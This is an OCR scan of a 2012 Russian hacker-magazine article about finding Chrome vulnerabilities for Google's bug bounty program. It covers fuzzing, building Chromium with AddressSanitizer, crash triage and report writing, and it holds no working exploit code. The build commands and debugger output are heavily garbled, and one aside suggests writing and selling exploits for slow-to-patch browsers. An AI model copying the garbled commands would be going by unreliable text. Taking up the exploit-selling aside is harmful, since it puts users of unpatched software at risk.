Netscape инициировала это движение уже в далеком 1995 году, а затем Mozilla и Google подхватили тенденцию. Прямо сейчас я научу тебя , как выжать баксы

из Google Chгome.

Артур Геркис Itwittег.соm/ахЗЗОd, on5ec.rul

Page 21: Xakep 02_2012

Охота на жуков в Google Chrome

е SVGBIo.tecl: stlrt p.ge ~ 2.DOM Node Removed

Chгomium 17.0.918.0 (Developer Build 106873 Linux)

Copyright © 2006-2011 The Chromium Authors. All Rights Reserved.

Chromium is made possible Ьу the Chromium ореп source project and other

ореп souгce software .

$Revision: 1.6 $

Фаээим брауэер собственной сборки

ОБ ИНИЦИАТИВЕ GOOGLE Прежде чем хвататься за поиск багов и написа­

ние отчетов, с моей стороны было бы корректно

рассказать читателю, с чем мы имеем дело.

А дело мы имеем с Google Vulnerability Reward Program. В рамках этой программы корпорация добра предлагает денежное вознагражде-

ние всем, кто желает помочь проекту Google Chrome в повышении уровня безопасности. При этом можно не только получить деньги , но и за­

светиться в списке Hall 01 Fame, куда включают всех исследователей, которые так или иначе

помогли в исправлении багов. Чтобы попа сть

в него, вовсе не обязательно претендовать

на кеш, достаточно быть искренне заинтересо­

ванным в оказании помощи, активно участво­

вать в проекте и положительно себя проявить.

Эта программа, запуще'нная в январе 2010 года, изначально предусматривала три уровня

вознаграждения: $500, $1000 и $1337. Через полгода в программу, отметившую мини­

юбилей, были внесены изменения, в том числе

и введен четвертый уровень вознаграждения

- теперь за обнаружение критического бага

дают $3133,7, а за отчет хороше го качества­$1000 Iчто это за отчет, ты узнаешь, прочитав статью до концаl.

Лидером команды безопасников Chrome является небезызвестный исследователь

Chris Evans. Вместе с Adam Меiп он и раздает кеш налево и направо. Первым человеком,

которому выплатили сумму, соответствующую

новому «элитному» уровню, стал Сергей Глазу­

нов, нашедший уязвимость «Browser crash in HTML5 speech UI» Icrbug.com/68666). Правда,

ХАКЕР 02/157/ 2012

)CClose

$Revision: 1.5 $

не всегда стоит рассчитывать на получение

заявленной суммы. Вознаграждение может

оказаться и больше :1. Например, недавно человеку под ником wushi из команды team509 выплатили не 500, а 509 долларов за найден­ную уязвимость просто ради шутки, из-за сим­

воличного названия. Так что ребята в Google тоже не без юмора.

В зависимости от типа приложения и его

лицензии применяются разные методы по­

иска уязвимостей . Но браузер с открытыми

исходниками предоставляет нам возможность

пользоваться абсолютно всеми доступными

методами, что увеличивает шансы обнаружить

баг. В данном случае я считаю целесообразным

прибегнуть как минимум к следующим методам

поиска уязвимостей: фаззинг, изучение исход ­

ников, бинарный анализ, « переоткрытие » ба­

гов, ручной поиск С тестированием . Последние

СТАТИСТИКА HALL OF FAME

На сегодняшний день на странице

Google Security Hall 01 Fame висит длинный и регулярно пополняющийся список хакеров.

Но обычно там можно встретить одних и тех

же известных багхантеров, всего около 60 человек (включая исследовательские группы

и компании). За всё время существования

инициативы было выплачено порядка 270 тысяч долларов!

два метода могут смутить своими названиями,

однако далее мы подробно поговорим о них.

If'''liiii Думаю, понятие фаззинга всем известно ,

поэтому не буду повторяться, а лишь опишу некоторые моменты, касающиеся браузеров .

Здесь, прежде всего, следует помнить о том,

что не ты один ищешь уязвимости - я смело

предположу, что это делают ты сячи людей

по всему миру с помощью компьютеров и так

называемы х фаззинговых ферм. Так что это

самая настоящая гонка! И чтобы не отставать

от других, твоя программа-фаззер должна об­

ладать следующими свойствами:

оригинальностью;

высокой скоростью работы Iколичество уникальныхтестоввединицувремени~ способностью воспроизведения крашей

Iлогированиеl.

Под оригинальностью я в первую очередь

подразумеваю какие-либо особенности, отли­

чающие твой фаззер от тех, которые находятся

в публичном доступе. Таким образом, лучше

написать свой собственный фаззер, хотя,

конечно, можно взять и любой доступный,

но его необходимо модифицировать так, чтобы

он мог генерировать уникальные тест-кейсы.

Как ты понимаешь, нет никакого смысла в том,

чтобы всем дружно фаззить одни и те же баги.

Да , можно ~айти какой-нибудь всеми забытый

фаззер и использовать его. Но много ли будет

проку от инструмента, которым по какой-то

причине никто не пользуется?

019

Page 22: Xakep 02_2012

COVERSTORY

Дополнительный вклад в оригинальность

вносит выбор исследуемого компонента.

Практически любой современный браузер

представляет из себя этакий мультимегаком­

байн - чего туда только не понапихано, чтобы

усладить нежную душу веб-разработчика или

дизайнера. Ни один вендор также не хочет от­

ставать в гонке на соответствие требованиям

W3C, теряя из-за этого некоторую долю рынка, поэтому вендоры стремятся реализовывать

в своих творениях абсолютно все современ­

ные фичи. Тут еще, конечно же, встает вопрос

выбора между скоростью внедрения и ценой

за эту скорость. Как говорится, поспешишь

- людей насмешишь. В нашем случае же

поспешишь - багхантеров накормишь. :-1 К таким фичам относятся С55 3, HTML 5, DОМ, 5VG, Canvas, Audio/Video, WebGL, Drag'n'Drop, всякие хранилища и прочее и прочее. Что ка­

сается самого Chrome, то там есть и собствен ­

ные разработки, например формат картинок

WebP.

ИЗУЧЕНИЕ ИСХОДНИКОВ в случае с опенсорсными браузерами можно

получить исходники И искать уязвимости

н епосредственно в миллионах строк кода,

перебирая всё подряд, или же целенаправ­

ленно исследовать какой-либо компонент,

допустим XML-napcep. Однако этот метод более трудоемкий, чем фаззинг. Тут нужны

усидчивость и желание рыться висходниках

часами напролет, а также уверенные знания

С++ lих уровень должен быть не ниже, чем у тех ребят, которые пишут данный браузерl. Я бы не слишком надеялся, что в коде удастся найти

какие-либо опечатки или недочеты , хотя и это

не исключено . К тому же где гарантия того,

что тебя, после того как ты потратишь месяц

на копание в коде, за пять минут не обойдет

чей-нибудь фаззер, написанный на коленке

за пару часов? Если уж на то пошло, то процесс

было бы неплохо автоматизировать с помощью

использования статических анализаторов

Кажется, в Chrome нашлось переполнение кучи

020

кода, а только лишь после этого подключать

голову. Н о ознакомление с исходниками в лю­

бом случае не повредит.

ПЕРЕОТКРЫТИЕ БАГОВ Чтозначит « переоткрытие багов»? Очень

просто - листаем старые уязвимости и про­

веряем, насколько хорошо они исправле­

ны. Например, уязвимость в Mozilla Firefox с идентификатором СУЕ-2010-0179, 'позволяю­щая выполнять произвольный код В Firebug, была переоткрыта , после чего ей присвоили

еще и идентификатор СУЕ-2010-3773 . Да,

хоть и редко, но такое бывает - уязвимости,

которую разработчик плохо исправил, при­

сваивают еще один идентификатор . Несмотря

на то, что таким способом много уязвимостей

не найдешь, анализ старых багов помогает по­

нять, где разработчик'и чаще всего ошибаются и на чем следУет заострять внимание. К тому

же этот способ позволяет попрактиковаться

в изучении уязвимостей на реальных примерах

в исходниках. На баг-трекерах Mozilla и Webki! полным-полно описаний уяз вимостей как

от разработчиков, так и от ZDI, так что очень советую туда заглянуть. Лично я регулярно

посещаю эти злачные места.

К методам реинкарнации жуков относится

исследование баг-трекера или чейнджлога

и поиск еще не исправленных уязвимостей

в различны х браузерах. Несмотря на то что

баги , которые были признаны критическими

с точки зрения безопасности, обычно закры­

вают от публичного доступа , и тикет получает

статус pubIic только после выхода патча ,

всегда существует вероятность найти нечто

интересное. К Chrome, конечно, зто относится

в меньшей степени, так как команда его раз­

работчиков очень быстро реагирует на обнару­

женные ошибки и исправляет их. Друго е дело

5afari - они подолгу тянут с исправлениями,

и поэтому есть шанс в определенный про­

межуток времени найти уязвимость, написать

сплойт и продать его.

БИНАРНЫЙ АНАЛИЗ И РУЧНОЙ ПОИСК Бинарный анализ имеет свои преимущества

даже при наличии исходников, несмотря

на всю его сложность. Уровень исходников

и бинарь - это два совершенно разных

мира. В первом случае мы оперируем более

абстрактными понятиями, а во втором - уже

конкретными вещами. Программист пишет

код в соответствии со своими предста~ления­

ми о том, как он должен работать, а хакеры

видят, как код работает в действительности .

Конечно, попытка проследить логику работы

какого-либо куска кода в ассемблере, имея

на руках исходники, не оправды вает себя.

Здесь имеет смысл обращать внимание

на такие низкоуровневые процессы, как

чтение из определенных участков памяти

или запись в них. К тому же для оптимизации

программы компиляторы могут менять код

не предусмотренным программистом образом.

В общем, то , что ты видишь, - это не то, что

будет исполняться. Конечно, так или иначе

придется делать бинарный анализ, но тут всё

уже зависит от того, как ты ищешь уязвимости

и , соответственно, с какой целью реверсишь

бинарь.

Ручной поиск с тестированием проводится

в случаях, когда автоматизировать процесс по­

иска уязвимастей сложно. Допустим, это может

быть проверка корректной работы политик безо­

пасности в каких-либо специфических условиях

или при использовании новых технологий, поиск

багов , которые возникают, когда пользователь

выполняет определенную комбинацию действий через интерфейс. Ну вот как такое нафаззить?

Да никак, поэтому тут можно или чисто случайно

найти баг, что одному ресерчеру удается не так

часто, а можно и целенаправленно исследовать

определенную технологию, при меняя нестан­

дартное мышление хаке ра.

ТЕСТОВАЯ ПЛАТФОРМА ДЛЯ CHROME Если ты собрался тестировать Chrome, то не забывай, что он работает на многих

ХАКЕР 02/157/2012

Page 23: Xakep 02_2012

AddressSanilizer диагностирует краш

ОСях: Windows [только 32 бита), Linux и Мас. Существует вполне весомая причина про­

тестировать его на всех доступны х тебе

системах: какой-либо баг может не по казать

себя на одной операционке, зато успешно

проявится на другой . Например, недавно был

обнаружен крайне интересный баг в библио­

теке GNU С, который проявлялся исклю­чительно под Линуксом !c rbug .com/48733). Также попробуй протестировать максималь­

ное количество браузеров. Одновременно

могут стоять только сапагу и любая другая

версия, но не dev, beta или stabIe вместе [кеш можно получить за версии stabIe, beta или dev). Таким образом, после просты х расчетов получаем, что для фаззинга у нас есть как

минимум 15 вариантов сборок браузера всего лишь от одного производителя. Это суще­

ственно повышает шансы найти уязвимость,

а если у тебя имеется возможность фаззит ь

все это одновременно, то вообще прекрас-

но - процесс ускоряется в разы l Можно

исследовать готовый бинарник, а можно

и самому собрать браузер. П оследний вариант

имеет свои преимущества , о которых я сейчас

и расскажу.

Google Chrome можно собрать с АSап.

Что такое АSап? Это сокращение от Address Sапitizег, который представляет собой еще

один проект от гугловцев, призванный эа­

менить Vаlgгiпd. Он работает гораздо быстрее

Valgrind. Если последний замедляет программу в десять раз, то ASan - всего в два. Этот ин­

струме нт позволяет обнаруживать уязвимости

типа use-after-free, оvегflоw/uпdегflоw кучи и стека, а также другие багги, связанные с по­

вреждением памяти. Кроме того, ASan находит больше багов, чем старый добрый Vаlgгiпd. Он

ХАКЕР 02 / 157/ 2012

заменяет malloc[)/free[) на свои функции, ко­торые «маркируют» зоны вокруг используемой

области памяти . Затем компилятор генерирует

код, который проверяет меченые зоны. Если

эа прошенный адрес помечен, выводится ошиб­

ка . Советую заглянуть на сайт проекта - там

представлено достаточно примеров, кото-

рые позволяют понять , как работает данный

инструмент.

Подготовленный таким образом Chгome

сильнооблегчаетзадачуопределениятипауяэ­

вимости, будь то heap buffer overflow, use-afteг­free или что-то другое . Для этого достаточно по ­

смотреть в логи ASan. Однако не все так просто .

В процессе компиляции брауэера потребуется

хорошее интернет-соединение для регулярной

синхронизации исходников, а также довольно

мощный компьютер для сборки и последующе ­

го анализа краша. Но обо всем по порядку.

Прежде чем приступить к делу, хочу

сказать, что я использовал UЬuпtu 10.10, х64

Охота на жуков в Google Chгome

и поэтому не могу знать об особенностях сбор­

ки браузера на други х системах.

СБОРКА БРАУ3ЕРА Для начала давай скачаем исходники браузера

со страницы проекта , а затем распакуем их.

Теперь необходимо исправить файл .gclient, добавив туда следующие строки :

·:.сщ;tQI!I_ deR~:: .... ; .. с .................... . .... ·: s.r.cl.t.!1j.nLRi!rJyji!.~i!I!·:":._ ............ _ ._ ....... .I!:tt[l .:.JJ.s.rr;. .. J;tJr.Q!!!j.YJ!! • .Qг.gl.~)!I!Itг.J,ю!sI. .. ..... . _ .. !:IJ;!р~l.tЬJгd-.Рi!г..tуjiJ.Si!Л ·:.~ .............. .

Это укажет конфигуратору, что нужно ис­

пользовать ASan. Для сборки ASan необходим Clang [bit.ly/mf7cuG). После его установки вы­полняем в командной строке сценарий ./build/ install-build-deps.sh. Этот скрипт разрешит нужные зависимости и наведет порядок там ,

где это необходимо . Теперь следует настроить

переменные окружения, выполнив следующие

к.оманды:

e.XPQrJ.J)blH=$HQMUr.te[lQ:t_:t.QQ1~.; .$P(\II:! ............. . !=.9 ~rc .......... _ ............ _ .................................... . i\$AN= . [1.\'19 :.LtIJJrd_p<lr.tyJ_a 5)'1]1 ..... . ...... _ ......... .

I\$АN_ВJ.N=.$.I\$Njji!.s.аl)_!=Ji!I!~ьtШJхL.РiD. ............. . в.~ ... К.l<.LJя,,:·.-mJl.V!IJ .. :;;IS<!I!-.рl;J<;!SJi~1;4AS~/ .. . a~<!f)_Plat;~lJ~:t .• txt.... . ................ _ .................. . с.(= .. $ASNu!)щсli!лg .. $Вl.AсК.LI5.Т'· ............. _ ....... . С)Q(=::$А$NUШIIсJ;;II!g+.±_ $~_I.AСl<.Ц.$J" ......... _ .. _ GYP _Р~ПN.Е.$=. ~i!s.i!!J.=J .. Н!!J)х_!!s.е_tr;.m<!1Jщ;"е_.

['.e],e.a:i.e_e1(\:.ra_!;flj!g!;=:' :g .. :.!д ... :.f]1Q~J!!Jir:Lec ...

fЧ.щtJQЛ:i .. :ff)9:j..I1H!!~·~ .. : ... g!;.H .e.nt .. r .!!r!.hQQk.s.

Команда для сборки самого браузера вы­глядит вот так:

l1]iJke .... -j].g.JНJJ!.РI'!'Р.Е.=fiе.lе.аsе. ~.c':'.".$cc .. .. \ .... . .CXX="S.CJQ(' С.С. hQ5t.="$C~·~ .. \ __ ....................... .

... CX)(, .• bQ.sJ= .. SCXX·~ ... L.IN.K.~b..Q~:t=.::lc)(X:: .... c.hr.QJne.

На моем компьютере сборка заняла меньше

часа. Но, как уже было упомянуто выше, этот

процесс весьма требователен к конфигурации,

поэтому советую выделить не меньше 50 Гб на жестком диске, как минимум 12 Гб опера­тивной памяти и использовать мощный про­

цессор, чтобы сборка не затягивал ась.

ТОП-5 ИССЛЕДОВАТЕЛЕЙ GOOGLE CHROME

...,... .. ~ .. - ~ ~'r-

h:.~ .......... " . ..:.i;;.;._.

1. СЕРГЕЙ ГЛАЗУНОВ (54 уязвимости)

2. MIAUBIZ (49 уязвимостей)

з. AКI HELIN (24 уязвимости) ,. KUZCC (22 уязвимости)

5. CHRISTIAN HOLLER (19 уязвимостей)

021

Page 24: Xakep 02_2012

COVERSTORY

11111111114111 Если браузер собрался успешно, то запускаем

его с такими параметрами:

А$.А!СQ!'ПQN.$.=.~t.<!J;~.=l QJ4J;J8.ele<!seJ ch.t:_Qme .. ... с_с п.о =_s.<! .шJ.bQх ... Z?~;I, __ .1 .. t1JJrd_p.<lT1;y./..a ~.an/ ..... . .. $.~.г.;i,.р1;.$./..а~.аО_~У.!lJ1;>9Jц,е .•. рУ....I ... С+:fjil t .

Браузер запустится без песочницы, все

ошибки будут перенаправлены на вход специ­

ального фильтрующего скрипта, который

отвечает за символы. Имей в виду, что утилита

аddг2liпе, которую использует зтот скриптом,

пожирает огромное количество памяти во

время работы 'у меня на нее уходило вплоть до 9 Гб). В принципе, совсем необязательно запускать браузер вместе с парсерами и ин­

струментами для сборки статистики, можно

запустить и так :

Теперь, когда ты научился правильно со­

бирать тестовую платформу, настало время

выбрать способ для поиска багов . По понятным

причинам я не буду приводить здесь конкрет­

ные рецепты по багхантингу и перечислять

соответствующие мануалы, но для начала

посоветую остановиться на фаззинге и выбрать

правильный софт lесли, конечно, ты все-таки не захотел или не смог использовать свои

собственные наработки) . На данный момент доступно несколько достойных внимания

публичны х фаззеров браузеров : cross_fuzz, ref_ fuzz, Canvas fuzzer от Michal Zalewski, jsfunfuzz от Jesse Rudermann, BF от Jeremy Brown. У всех перечисленных фаззеров разные принципы

работы: фаззинг ООМ, мутирование HTML­документа, фаззинг грамматики Java5cript, фаззинг canvas и WebGL. Большая часть этих фаззеров отработала свое и вряд ли сможет

найти новые уникальные уязвимости - всё

требует доработки . Но разработчики браузеров

продолжают развивать некоторые фаззеры, на­

пример jsfunfuzz. Подробно описывать каждую из перечисленных программ было бы неце­

лесообразно, так что советую просто взять и х

с нашего диска и самостоятельно попробовать

в деле .

Don, mlп any upd8tn from "'hln 18 .... OetJlDll'ataQCIIIT .... ....,IO_~_ .. lIIIr8SISyouJ .......

@iOn1. --PWN20WN Chrome attack is not very realistic:Sandbox escape required,no kernel bug allowed.Luckily а reaJ attacker doesn't have this limit.

Ресерчеры недовольны правилами Pwn20wn

022

77e6b!o!o!o!iic~, !ii!i1i11!Ji~~:ir::~!!!!!!!!~!!!!!!!!!!!!~~;;;;~;;;;;;~~~ 77е10000 77! 03000 С : 'VINDOV5'-systеа32'-.RPCRТ.f. . dll 17feOOOO 77ffl000 C:'VINDOVS'systea32'5ecur32.dll 77f 10000 77f 59000 С : 'VINDOU'S'ауstеаЗ2~IЗ2 _dll 7е410000 7.,441000 С : 'V1NDOIIIS'&ystоа32'USERЗ2 . dll 77сl0000 77с68000 C : 'VIHOOV5'systea32'-аsvcrt .dll 7с9сОООО 7dld8000 C : 'VINOOV5'-systеа32'\SНELLЭ2 . dll 769сОООО 76&74000 С : 'VINOOV~уstеа32'USEREИV .dll 76f50000 76f58000 C : 'UINOOUS'syst;ea32'VТSAPI32 . dll 76360000 76370000 С: 'UINDOU~stea32'UINSТ •. dll 5Ь860000 5Ь8Ь6000 C : 'UINDOVS'-s7Stеа32~1РI32 .dll 77сООООО 77сО800D C:' UINOOVEi's.ystea32'\VERSIOH .dll 76Ь40000 76b6d00D С : 'UINDOVS'.avstоа32'UINИК . dll 76390000 763adOOO С : '1ПNDOVS'.systе.32ЧИК32 . Dtt 773dDOOO 774d3000 С : 'VINDOlI~VinSxS'-x86_Нicrosof t . Viпdоvs . Со_on-COntrols_6595Ь64144ссf ldC6 . 0 . 2600 . 6028_х-." 01сЗОООО 037а5000 C :~nts аnd Settings'-Atb.inistrator'-l.ocal Set.t.ings'lpplication Do.ta~le'-Chroae"'ppli 74еЗОООО 74e9dOOO C : 'VINDOV~ystea32~ICНED20 .dl1 76380000 76385000 C : 'VINDOV~ystea32~IHG32 .dl1 6f500000 6f57dOOO C : 'VINDOV~stoa32'USPI0 .dll 76ЫОООО 76ЫЬООО C : '''IНDOV~te.32~I . Dtt 61880000 618ЬаООО C : 'VIHDOV5'-sуstеа32'-ОLEАСС . dll 774еОООО 7761eOOO C : 'UINDOV5'.systea32~le32 .dl1 77120000 771аЬООО С : 'V IN[)()V$'.systеаЗ2'-ОLE1UТЗ2 . dll 76f20000 76f47000 C : 'VINDOV~ystea32~NS1PI .dll 71аЬОООО 71~7000 C:'VIHDOUS'systea32'VS2_32 .dll 71ааОООО 71аа8000 C : 'VINDOVS'-systе.З2'VS2НEI.P .dll 4l!dOOOOO 4Ь665000 C:'J>ocuaents and Settings'-A.tb.inistrator'-l.ocal Settings'-App!ication Do.t.o.~lе'\Chrcае'-А.ррli 5м70000 54da8000 . С : 'VIНDOVS\.systеаЗ2'UхТЬеае . dll 10006000 10 3а.2000 C:'-Doc::u».ents аnd Settings'-Adainistrator'-local Settings'-A.pplication Do.ta'Google'-Chrc8е'-Аррli 01000000 0110ЬООО C:'l)ocuaents and. Settin9s'-Adainistrator~1 Settings'Application Do.tа~lе'\Chroае'-А.ррli 629сОООО 629с9000 C : 'VINDOV'S'-systеаЗ2'-I.PК . DU 77а80000 77Ы5000 С : 'VIНDOV~ystеа32'cryptЗ2 .dll 77ЫОООО 77Ь32000 C : '''IHDOV5'-systеа32~SNl . dll 6SecOOOO 6618dOOO C:'\Docuaents &nd Set.t.ings'-Adainistra.tor'-l.ocal Settinga'lpp!ication Do.ta~le'-Chroae'-Appli 68Ь80000 C : '-lЮcuaепts and Settiпgs'А-tb.iпistrаtar'-l.ocal Settin9s'-Application Do.ta'\.Google'\Chroae'-Аррli

C :~nts a.nd Settings'-Adainistrator'-l.ocal Settings'-1pplication Do.ta"-Gc::loglе'\Chroае'-А.ррli

~о~~~-i~оо~Оо~~j':есх==~~~ ~~og~~~~O~i!~~M~O~~!OOOOOOOS Ile,p-"с"JllUе ebp-ООf8fff4 iopl-0 пу up ei р1 zr па ре ос

es-ОО2З f5-0038 9а-0000 eH-ООООО246

Defaultec:1 to oжpcrt syabols for C:'J>ocuaents o.nd Settings'Ad.inistrator~

WinDbg схватил наЗОЙЛИВblЙ Stack overflow в Chrome

Вернемся к нашему браузеру. После выхода

новой сборки ты можешь обновить исходники

с помощью команды «./gclient sync». Затем следует повторить вышеописанные операции

для поиска багов. Чтобы не вводить каждый

раз все команды при обновлении браузера,

я использую простой Ьаsh-скрипт, который

можно также найти на диске. Однако далеко

не всегда полезно синхронизироваться, за­

частую лучше проверить состояние проекта

на странице bit.ly/s9wt5F. Если вверху висит статус Ореп, то можно качать сорцы, если

Closed, то Chrome может и не собраться. Информацию эта страница получает от ботов,

которые регулярно в автоматическом режиме

собирают браузеры в разны х системах.

Вероятно, тебя интересует, каковы шансы

найти уязвимость в таком браузере, как

Chrome. Так вот, зти шансы весьма и весьма

неплохи . За одну неделю фаззинга в Chrome мне удалось найти четыре уязвимости: одну

005 и три типа use-after-free. В то время я фаззил без А5ап, поэтому предполагаю, что

вполне мог упустить часть уязвимостей из­

за сложности анализа или нехватки времени.

ЖУК ПОЙМАН, ЧТО ДАЛЬШЕ? Итак, допустим , ты нашел баг в Chrome. Не спе­ши сразу же о нем сообщать! Из обычного

бага можно выжать гораздо больше, чем если

просто раскрыть разработчикам свой Proof­of-Concept. Тут есть масса нюансов, о которых нужно обязательно рассказать. Для начала

необходимо понять, является ли обнаруженный

баг настоящей уязвимостью или нет.

В принципе, на странице проекта указано,

какие именно баги не являются уязвимостями:

005, ООМ - баги истощения памяти, 5tack exhaustion - истощение стека Iнапример,

когда функция попала в рекурсию) . На всё остальное - переполнение буфера или кучи,

use-after-free и прочие известные нам баги­следует обращать внимание. Если из-за 005 п'адает весь браузер , то ее стоит пометить как

5ecurity 'в багтраке такой баг будет помечен как некритичныЙI . Но большинство багов - это

ХАКЕР 02/157/2012

Page 25: Xakep 02_2012

дей ствительно только баги, поэтому, особенно

если долго занимаешься багхантингом , пере­

стаешь радоватьс я при виде очередного «Aw, Snap!». Иногда Chrome принудительно убивает процесс, чтобы избежать всяких неприятностей

типа истощения памяти . Самая популярная уяз­

вимость среди браузеров - это use-after-Iree, попытка использовать указатель на память по­

сле того, как ее уже освободили. Баги повреж­

дения памяти хорошо ловить инструментами

типа Valgrind или ASan. Это быстро и удобно, но можно, конечно, использовать и отладчик

gdb или WinDbg . Под виндой я использую WiпDЬg - все нужные символы доступны с сер­

вера проекта . И сразу предупрежу начинающих

- если в стеке вызовов содержится много

стро к типа RelaunchChromeBrowserWithNewCo mmandLinellNeeded, то зто значит, что с симво­

ла ми непорядок, их нужно перезагрузить:

! $~," noi~y __ _ .r.e~Q<ldjd /f.. /0

После того как ты определил, что некий баг

- зто не просто краш таба, а самая настоящая

уязвимость, можешь отсылать отчет. А можешь

и не отсылать. Дело в том, что оценка твоей

уязвимости напрямую зависит от того, на­

сколько ты облегчишь жизнь разработчикам.

Чем проще понять, в чем суть бага, тем бы­

стрей его исправят. В противном случае про­

цесс выпуска релиза затянется, а ты не скоро

п ол учишь свой кеш. Образец, который ты

собрал с я посылать, должен быть максимально

урезан и содержать только то, что крашит таб

или браузер. Так легче локализовать баг и по­

нять, что именно вызывает краш . Да и отладка ,

конечно же, ускоряется и упрощается. Итак,

красивый сзмпл есть, но к нему необходимо

еще и описание . Без излишних змоций и ли­

рики нужно описать то, как заставить образец

крашить браузер. Или же, если там всё и так

ясно, можно просто написать, что при загрузке

приаттаченного файла происходит то-то и то­

то . Ну, или не файла , всё зависит от того , что

ты нашел . Лучше всего , если ты сам понял суть

бага и можешь четко и грамотно описать, где

находится проблемный участок кода . Это еще

один шанс повысить вознаграждение и изба­

вить разработчиков от лишней работы . Реаль­

но качественный отчет от Chris Rohll оценили в целую штуку, хотя он и касался бага , который

создает среднюю угрозу. Не знаю, что тут еще

добавить, видимо, стоит просто открыть и по­

читать зтот сабмит по адресу crbug .com/63B66. Однако здесь не стоит тянуть время, так как

кто-нибудь может описать уязвимость раньше

тебя . Однажды такое произошло и со мной.

Сейчас я пишу эти строки, а чуть раньше

на мой ящик пришло сообщение, что новая

уязвимость, о которой я сообщил, является

дубликатом . Уязвимость тянула на критиче­

с кий уровень . К сожалению, я опоздал всего

на пару дней , и кеш получил человек, первым

сообщивший о баге. Такие дубликаты сливают

Iделают mergel с ранее обнаруженной уязви­мостью. Да, обидно, но ничего не поделаешь

ХАКЕР 02 /157/ 2012

- не в первый и не последний раз, есть куча

других жуков , которые скучают по нам.

И вот, наконец-то, мы сообщили о сво-

ей первой уязвимости, сидим и ждем . Нет,

не ждем , а продолжаем искать другие уяз­

вимости. Обычно на сообщение реагируют в те­

чение суток, затем констатируют критичность

уязвимости и подтягивают соответствующи х

разработчиков , которые начинают процесс

устранения бага и разработки патча . .

ПОЛУЧЕНИЕ КЕША Это одновременно и приятный, и муторный про­

цесс. Точных сроков получения вознаграждения

не существует, так как всё зависит оттого ,

на каком этапе планирования релизабраузера

ты отправил сообщение о ба ге, а также оттого,

что он собой представляет. Бывает так, что

уязвимость, которую ты наuJел, не так-то просто

исправить, ошибка может затрагивать сразу

несколько компонентов и требовать от раз­

работчика тщательной проверки. Теперь пред­

положим, что тебе уже пообещали выплатить

определенную сумму. Вернее, в баг-трекере

указали лейбл, например reward-500. Ты также увидишь стандартный текст IBoilerplate textl с предупреждением о том, что до выхода исправления нежелательно разглашать под­

робную информацию об уязвимости, иначе это

может привести к невыплате воэнаграждения .

Затем тебе нужно дождаться , когда с тобой

свяжется Chris Evans и сообщит о дальнейших

VU?cN secu' у

Охота на жуков в Google Chrome

действиях - он дает ссылки на форму, которую

нужно заполнить, чтобы стать подрядчиком

Google. Ужасная форма, я тебе скажу. Во­

первых, она на английском , что , может, не так

уж и страшно, во-вторых, там присутствует

множество полей, которые не так-то просто за­

полнить . К тому же, если ты не гражданин США,

то тебе придется заполнить еще и специаль­

ный РDF-файл , отсканировать его и отправиfь

по мылу. В этих формах следует указать инфор­

мацию о реквизитах твоего банковского счета

и некоторую другую персональную информацию

вроде почтового адреса, телефона и т. д. Затем,

в зависимости оттого, насколько быстроты

справишься и когда отреагирует человек, кото­

рый управляет тикетами, тебя примут в систему

Google. Заполнять больше ничего не понадо­бится. Через какое-то время после регистрации

тебе сообщат, что деньги ' находятся в системе пере вода .

ДОМАШНЕЕ ЗАДАНИЕ l;iадеюсь, мне удалось заинтересовать тебя ре­

серчем Google Chrome, ведь Hall 01 Fame всегда ждет новых исследователей. Для начала посети

баг-трекер Хрома - обещаю, что там не соску­

чишься. На баг-трекере можно найти и полезные

комментарии от команды безопасников, и ана­

лиз уязвимостей, и немало смешных перлов

от пользователей. Полагаю, я привел достаточ­

ное количество аргументов, чтобы мотивировать

тебя на поиски уязвимостей в Google Chrome. I

tloт~ 1 VUPEN Prodtlcl.. I Industry SoluliOn" I Vulllt~rl1bil'ly Rcscal'('ll I R('!~our(es I COlllact Sale.. I COnlpanv 1 Cu..,tomer Ared •

----..,...- -- - - ~~. - --...,...... VUPEN rr~ Resources

WPEN Se:cunty Advisones

WPEN R,esa.rch Oemos

WPEN Res8arc:h Те.т ВЮg

Security New$ _nd Thre.ts

Zero·d.y Threots Момог

Hailin91ist .nd Newsletters

Explan.tlon of Terms

Advanced Seardl Engine

VUPEN Vul"er4bIlity Research Videos ~lI1d Den1onstratlons

GOOq !f; СЬсоmе Pwned ьу YYPfN o ko SopdbgxlASLВ /QEP ВУРА"

Hi everyone,

We "ге (un)hapPV 10 аnnOlmсе; that we муе offic:i,ally Pwned Google Chrome and its sandbox.

тhe 8)(p\oi shown in this video is ом of the most sophisbc.at~ codes we hew; цеп аnd Ct"e:ated $о far as it: b~sses .. seCl.lnty (еМиге •• nduding ASLR!DEP/Sandbox (ancl Wlthout explolting 111 Windows k8mol

~~;:~~ ~PE~e~J~ ~~ ~:~I ~= ;;::~tt;~~tl .~~~). undisdosed (Qday) vulnerabilities

тhe video shows tho exploit in <1Iction wi'th • defllult inst.lIaotion of Google Chrome vll,0.696.6S on Microsoft.

:;t'ec:sa?teS~;Zu~)p~ad~:~ois ~~:~i;\tQdo~~~~ ~~:~::~i~:: =~ti~~e ::fr:u~ outside the sandbox (а! Medium integrity level),

white OIrome М! оnе of the moй secure s.ndboxes and М! always survlved the PwnЮwn contest during the 'Ш three years, W8 n've now uncovered • reHable w.y 10 exearte arbittary code on аnу default installatlon of ehrome desPl\e rts яndtюx. ASLЯ end [)ЕР.

~:J:d%'::S::~u:~rts~aC:d·~ue=:'~~Se~ ~~::~~ pV:~n~(o~~!:~obij4vbe r::e~ ..,,;ш.

J.lIitdШ: The expkмt wolics on both ehrome versions 11,Х, 11,)(, 13.x . nd 14.х,

Vupen демонстрирует эксппойт ДЛА Google Chrome

• Нovе11 Groupwise Calendar RRULf

~integertJst" Remote Buffer Overflow (НО­

МАТСН)

• Ноуеl1 GroupWlse C.lendar RRULE

"BVWEEКNO" Remote "'еmoгу CorruptlOn

(HO-МАтен)

• Novell GroupWise Qlenclor "ТZNAМE" Processing R,emote

8uffer Overflow (сУе-2011-0333)

• Novell GroupWlse e.lendar "RRULE" ProceS51ng R,emote Неор Buffer Overflow

(HO-МАтен)

• Divx Plus Web PlayerAc:tiveX"fiJe:/r

иАоI PnIce$Slng R,emote Buffer

Overflow (NO-МATCН)

023

Page 26: Xakep 02_2012

COVERSTORY

от я ........

О DDOS-ATAKAX В ОБЩЕМ Атаки появились на заре интернета. Невоз­

можно сказать, когда возникла такая услуга,

как DDoS, - зто тайна, покрытая мраком.

Не скажешь ведь: " Я был первым, кто заказал

атаку в 1998-м!»

Знакомство с DDoS для меня лично началось во время проекта IT Territory в 2003 году, когда игра только стартовала. Она имела до­

статочно агрессивную рекламную кампанию,

в ответ на которую тут же прилетел DDoS от конкурентов. Скажу честно, я растерял­

ся. Больше всего из-за того, что компания,

которая оказывала хостинг-услуги, не просто

